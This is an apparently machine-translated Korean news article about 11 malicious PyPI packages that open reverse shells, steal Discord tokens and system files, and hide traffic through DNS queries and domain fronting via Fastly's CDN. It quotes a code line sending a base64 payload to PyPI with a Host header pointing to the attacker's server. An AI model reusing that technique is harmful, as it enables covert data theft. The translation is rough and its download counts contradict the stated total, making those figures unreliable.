PyPI CDN์„ ์‚ฌ์šฉํ•˜์—ฌ ํ†ต์‹  ์ฑ„๋„์„ ์ˆจ๊ธฐ๋Š” ์•…์„ฑ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๊ฐ€ PyPI ์นดํƒˆ๋กœ๊ทธ์—์„œ ์‹๋ณ„๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

PyPI(Python Package Index) ๋””๋ ‰ํ„ฐ๋ฆฌ์—์„œ ์•…์„ฑ์ฝ”๋“œ๊ฐ€ ํฌํ•จ๋œ ํŒจํ‚ค์ง€ 11๊ฐœ๊ฐ€ ์‹๋ณ„๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ๋ฌธ์ œ๊ฐ€ ํ™•์ธ๋˜๊ธฐ ์ „์— ํŒจํ‚ค์ง€๋Š” ์ด 38ํšŒ ๋‹ค์šด๋กœ๋“œ๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ํƒ์ง€๋œ ์•…์„ฑ ํŒจํ‚ค์ง€๋Š” ๊ณต๊ฒฉ์ž ์„œ๋ฒ„์™€์˜ ํ†ต์‹  ์ฑ„๋„์„ ์ˆจ๊ธฐ๊ธฐ ์œ„ํ•ด ์ •๊ตํ•œ ๋ฐฉ๋ฒ•์„ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์œผ๋กœ ์œ ๋ช…ํ•ฉ๋‹ˆ๋‹ค.

  • importantpackage(6305 ๋‹ค์šด๋กœ๋“œ), important-package(12897) - ์‹œ์Šคํ…œ์— ๋Œ€ํ•œ ์‰˜ ์•ก์„ธ์Šค(๋ฆฌ๋ฒ„์Šค ์‰˜)๋ฅผ ์ œ๊ณตํ•˜๊ธฐ ์œ„ํ•ด pypi.python.org์— ์—ฐ๊ฒฐํ•˜๋Š” ๊ฒƒ์ฒ˜๋Ÿผ ๊ฐ€์žฅํ•˜์—ฌ ์™ธ๋ถ€ ์„œ๋ฒ„์— ๋Œ€ํ•œ ์—ฐ๊ฒฐ์„ ์„ค์ •ํ•˜๊ณ  trevorc2 ํ”„๋กœ๊ทธ๋žจ์„ ์‚ฌ์šฉํ•˜์—ฌ ํ†ต์‹  ์ฑ„๋„.
  • pptest(10001), ipboards(946) - ์‹œ์Šคํ…œ์— ๋Œ€ํ•œ ์ •๋ณด(์ฒซ ๋ฒˆ์งธ ํŒจํ‚ท์—๋Š” ํ˜ธ์ŠคํŠธ ์ด๋ฆ„, ์ž‘์—… ๋””๋ ‰ํ„ฐ๋ฆฌ, ๋‚ด๋ถ€ ๋ฐ ์™ธ๋ถ€ IP, ๋‘ ๋ฒˆ์งธ ํŒจํ‚ท์—๋Š” ์‚ฌ์šฉ์ž ์ด๋ฆ„ ๋ฐ ํ˜ธ์ŠคํŠธ ์ด๋ฆ„)๋ฅผ ์ „์†กํ•˜๊ธฐ ์œ„ํ•œ ํ†ต์‹  ์ฑ„๋„๋กœ DNS๋ฅผ ์‚ฌ์šฉํ–ˆ์Šต๋‹ˆ๋‹ค. .
  • owlmoon(3285), DiscordSafety(557), yiffparty(1859) - ์‹œ์Šคํ…œ์—์„œ Discord ์„œ๋น„์Šค ํ† ํฐ์„ ์‹๋ณ„ํ•˜์—ฌ ์™ธ๋ถ€ ํ˜ธ์ŠคํŠธ๋กœ ๋ณด๋ƒˆ์Šต๋‹ˆ๋‹ค.
  • trrfab (287) - /etc/passwd, /etc/hosts, /home์˜ ์‹๋ณ„์ž, ํ˜ธ์ŠคํŠธ ์ด๋ฆ„ ๋ฐ ๋‚ด์šฉ์„ ์™ธ๋ถ€ ํ˜ธ์ŠคํŠธ๋กœ ๋ณด๋ƒˆ์Šต๋‹ˆ๋‹ค.
  • 10Cent10 (490) - ์™ธ๋ถ€ ํ˜ธ์ŠคํŠธ์™€์˜ ์—ญ๋ฐฉํ–ฅ ์‰˜ ์—ฐ๊ฒฐ์„ ์„ค์ •ํ–ˆ์Šต๋‹ˆ๋‹ค.
  • yandex-yt(4183) - ์‹œ์Šคํ…œ์ด ์†์ƒ๋˜์—ˆ๋‹ค๋Š” ๋ฉ”์‹œ์ง€๋ฅผ ํ‘œ์‹œํ•˜๊ณ  nda.ya.ru(api.ya.cc)๋ฅผ ํ†ตํ•ด ์‹คํ–‰๋œ ์ถ”๊ฐ€ ์กฐ์น˜์— ๋Œ€ํ•œ ์ถ”๊ฐ€ ์ •๋ณด๊ฐ€ ์žˆ๋Š” ํŽ˜์ด์ง€๋กœ ๋ฆฌ๋””๋ ‰์…˜๋ฉ๋‹ˆ๋‹ค.

ํŠนํžˆ ์ฃผ๋ชฉํ•  ์ ์€ importantpackage ๋ฐ important-package ํŒจํ‚ค์ง€์— ์‚ฌ์šฉ๋˜๋Š” ์™ธ๋ถ€ ํ˜ธ์ŠคํŠธ์— ์•ก์„ธ์Šคํ•˜๋Š” ๋ฐฉ๋ฒ•์ž…๋‹ˆ๋‹ค. ์ด ํŒจํ‚ค์ง€๋Š” ํ™œ๋™์„ ์ˆจ๊ธฐ๊ธฐ ์œ„ํ•ด PyPI ๋””๋ ‰ํ„ฐ๋ฆฌ์— ์‚ฌ์šฉ๋˜๋Š” Fastly ์ฝ˜ํ…์ธ  ์ „๋‹ฌ ๋„คํŠธ์›Œํฌ๋ฅผ ์‚ฌ์šฉํ–ˆ์Šต๋‹ˆ๋‹ค. ์‹ค์ œ๋กœ ์š”์ฒญ์€ pypi.python.org ์„œ๋ฒ„๋กœ ์ „์†ก๋˜์—ˆ์ง€๋งŒ(HTTPS ์š”์ฒญ ๋‚ด๋ถ€์˜ SNI์— python.org ์ด๋ฆ„ ์ง€์ • ํฌํ•จ), HTTP โ€œHostโ€ ํ—ค๋”์—๋Š” ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” โ€‹โ€‹์„œ๋ฒ„ ์ด๋ฆ„์ด ํฌํ•จ๋˜์–ด ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค(sec. forward.io.global.prod.fastly.net). ์ฝ˜ํ…์ธ  ์ „์†ก ๋„คํŠธ์›Œํฌ๋Š” ๋ฐ์ดํ„ฐ๋ฅผ ์ „์†กํ•  ๋•Œ pypi.python.org์— ๋Œ€ํ•œ TLS ์—ฐ๊ฒฐ ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๊ณต๊ฒฉ ์„œ๋ฒ„์— ์œ ์‚ฌํ•œ ์š”์ฒญ์„ ๋ณด๋ƒˆ์Šต๋‹ˆ๋‹ค.

PyPI ์ธํ”„๋ผ๋Š” Varnish ํˆฌ๋ช… ํ”„๋ก์‹œ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ผ๋ฐ˜์ ์ธ ์š”์ฒญ์„ ์บ์‹œํ•˜๊ณ  ์ตœ์ข… ์„œ๋ฒ„๊ฐ€ ์•„๋‹Œ CDN ์ˆ˜์ค€์—์„œ TLS ์ธ์ฆ์„œ ์ฒ˜๋ฆฌ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ํ”„๋ก์‹œ๋ฅผ ํ†ตํ•ด HTTPS ์š”์ฒญ์„ ์ „๋‹ฌํ•˜๋Š” Fastly ์ฝ˜ํ…์ธ  ์ „๋‹ฌ ๋„คํŠธ์›Œํฌ๋กœ ๊ตฌ๋™๋ฉ๋‹ˆ๋‹ค. ๋Œ€์ƒ ํ˜ธ์ŠคํŠธ์— ๊ด€๊ณ„์—†์ด ์š”์ฒญ์€ HTTP "ํ˜ธ์ŠคํŠธ" ํ—ค๋”๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์›ํ•˜๋Š” ํ˜ธ์ŠคํŠธ๋ฅผ ๊ฒฐ์ •ํ•˜๋Š” ํ”„๋ก์‹œ๋กœ ์ „์†ก๋˜๋ฉฐ ํ˜ธ์ŠคํŠธ ๋„๋ฉ”์ธ ์ด๋ฆ„์€ ๋ชจ๋“  Fastly ํด๋ผ์ด์–ธํŠธ์— ์ผ๋ฐ˜์ ์ธ CDN ๋กœ๋“œ ๋ฐธ๋Ÿฐ์„œ IP ์ฃผ์†Œ์— ์—ฐ๊ฒฐ๋ฉ๋‹ˆ๋‹ค.

๊ณต๊ฒฉ์ž์˜ ์„œ๋ฒ„๋Š” ๋˜ํ•œ ๋ชจ๋“  ์‚ฌ๋žŒ์—๊ฒŒ ๋ฌด๋ฃŒ ์š”๊ธˆ์ œ๋ฅผ ์ œ๊ณตํ•˜๊ณ  ์ต๋ช… ๋“ฑ๋ก๋„ ํ—ˆ์šฉํ•˜๋Š” CDN Fastly์— ๋“ฑ๋กํ•ฉ๋‹ˆ๋‹ค. "์—ญ๋ฐฉํ–ฅ ์…ธ"์„ ์ƒ์„ฑํ•  ๋•Œ ํ”ผํ•ด์ž์—๊ฒŒ ์š”์ฒญ์„ ๋ณด๋‚ด๋Š” ๋ฐฉ์‹๋„ ์‚ฌ์šฉ๋˜์ง€๋งŒ ๊ณต๊ฒฉ์ž์˜ ํ˜ธ์ŠคํŠธ ์ธก์—์„œ ์‹œ์ž‘๋œ๋‹ค๋Š” ์ ์€ ์ฃผ๋ชฉํ•  ๋งŒํ•ฉ๋‹ˆ๋‹ค. ์™ธ๋ถ€์—์„œ ๋ณผ ๋•Œ ๊ณต๊ฒฉ์ž ์„œ๋ฒ„์™€์˜ ์ƒํ˜ธ ์ž‘์šฉ์€ PyPI TLS ์ธ์ฆ์„œ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์•”ํ˜ธํ™”๋œ PyPI ๋””๋ ‰ํ„ฐ๋ฆฌ์™€์˜ ํ•ฉ๋ฒ•์ ์ธ ์„ธ์…˜์ฒ˜๋Ÿผ ๋ณด์ž…๋‹ˆ๋‹ค. ์ด์ „์—๋Š” "๋„๋ฉ”์ธ ํ”„๋ก ํŒ…"์œผ๋กœ ์•Œ๋ ค์ง„ ์œ ์‚ฌํ•œ ๊ธฐ์ˆ ์ด ์ฐจ๋‹จ์„ ์šฐํšŒํ•  ๋•Œ ํ˜ธ์ŠคํŠธ ์ด๋ฆ„์„ ์ˆจ๊ธฐ๋Š” ๋ฐ ์ ๊ทน์ ์œผ๋กœ ์‚ฌ์šฉ๋˜์—ˆ์œผ๋ฉฐ, ์ผ๋ถ€ CDN ๋„คํŠธ์›Œํฌ์—์„œ ์ œ๊ณต๋˜๋Š” ๊ธฐ๋Šฅ์„ ์‚ฌ์šฉํ•˜์—ฌ SNI์— ๊ฐ€์ƒ ํ˜ธ์ŠคํŠธ๋ฅผ ํ‘œ์‹œํ•˜๊ณ  ์‹ค์ œ๋กœ ๋„๋ฉ”์ธ ์ด๋ฆ„์„ ์ „์†กํ•˜์—ฌ HTTPS์— ์•ก์„ธ์Šคํ–ˆ์Šต๋‹ˆ๋‹ค. TLS ์„ธ์…˜ ๋‚ด๋ถ€์˜ HTTP ํ˜ธ์ŠคํŠธ ํ—ค๋”์— ์š”์ฒญ๋œ ํ˜ธ์ŠคํŠธ.

PyPI CDN์„ ์‚ฌ์šฉํ•˜์—ฌ ํ†ต์‹  ์ฑ„๋„์„ ์ˆจ๊ธฐ๋Š” ์•…์„ฑ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๊ฐ€ PyPI ์นดํƒˆ๋กœ๊ทธ์—์„œ ์‹๋ณ„๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

์•…์˜์ ์ธ ํ™œ๋™์„ ์ˆจ๊ธฐ๊ธฐ ์œ„ํ•ด TrevorC2 ํŒจํ‚ค์ง€๋ฅผ ์ถ”๊ฐ€๋กœ ์‚ฌ์šฉํ•˜์—ฌ ์ผ๋ฐ˜ ์›น ํƒ์ƒ‰๊ณผ ์œ ์‚ฌํ•˜๊ฒŒ ์„œ๋ฒ„์™€ ์ƒํ˜ธ ์ž‘์šฉํ–ˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด "https://pypi.python.org/images/" ์ด๋ฏธ์ง€๋ฅผ ๋‹ค์šด๋กœ๋“œํ•˜๋Š” ๊ฒƒ์ฒ˜๋Ÿผ ์œ„์žฅํ•˜์—ฌ ์•…์˜์ ์ธ ์š”์ฒญ์ด ์ „์†ก๋˜์—ˆ์Šต๋‹ˆ๋‹ค. guid=โ€ guid ๋งค๊ฐœ๋ณ€์ˆ˜์— ์ •๋ณด ์ธ์ฝ”๋”ฉ์ด ํฌํ•จ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค. url = "https://pypi.python.org" + "/images" + "?" + "guid=" + b64_payload r = request.Request(url, headers = {'Host': "psec.forward.io.global.prod.fastly.net"})

pptest ๋ฐ ipboards ํŒจํ‚ค์ง€๋Š” DNS ์„œ๋ฒ„์— ๋Œ€ํ•œ ์ฟผ๋ฆฌ์—์„œ ์œ ์šฉํ•œ ์ •๋ณด ์ธ์ฝ”๋”ฉ์„ ๊ธฐ๋ฐ˜์œผ๋กœ ๋„คํŠธ์›Œํฌ ํ™œ๋™์„ ์ˆจ๊ธฐ๊ธฐ ์œ„ํ•ด ๋‹ค๋ฅธ ์ ‘๊ทผ ๋ฐฉ์‹์„ ์‚ฌ์šฉํ–ˆ์Šต๋‹ˆ๋‹ค. ์•…์„ฑ์ฝ”๋“œ๋Š” โ€œnu4timjagq4fimbuhe.example.comโ€๊ณผ ๊ฐ™์€ DNS ์š”์ฒญ์„ ์ˆ˜ํ–‰ํ•˜์—ฌ ์ •๋ณด๋ฅผ ์ „์†กํ•˜๋Š”๋ฐ, ์ œ์–ด ์„œ๋ฒ„๋กœ ์ „์†ก๋˜๋Š” ๋ฐ์ดํ„ฐ๋Š” ํ•˜์œ„ ๋„๋ฉ”์ธ ์ด๋ฆ„์— base64 ํ˜•์‹์„ ์‚ฌ์šฉํ•˜์—ฌ ์ธ์ฝ”๋”ฉ๋ฉ๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์ž๋Š” example.com ๋„๋ฉ”์ธ์˜ DNS ์„œ๋ฒ„๋ฅผ ์ œ์–ดํ•˜์—ฌ ์ด๋Ÿฌํ•œ ๋ฉ”์‹œ์ง€๋ฅผ ๋ฐ›์Šต๋‹ˆ๋‹ค.

์ถœ์ฒ˜ : opennet.ru

์ฝ”๋ฉ˜ํŠธ๋ฅผ ์ถ”๊ฐ€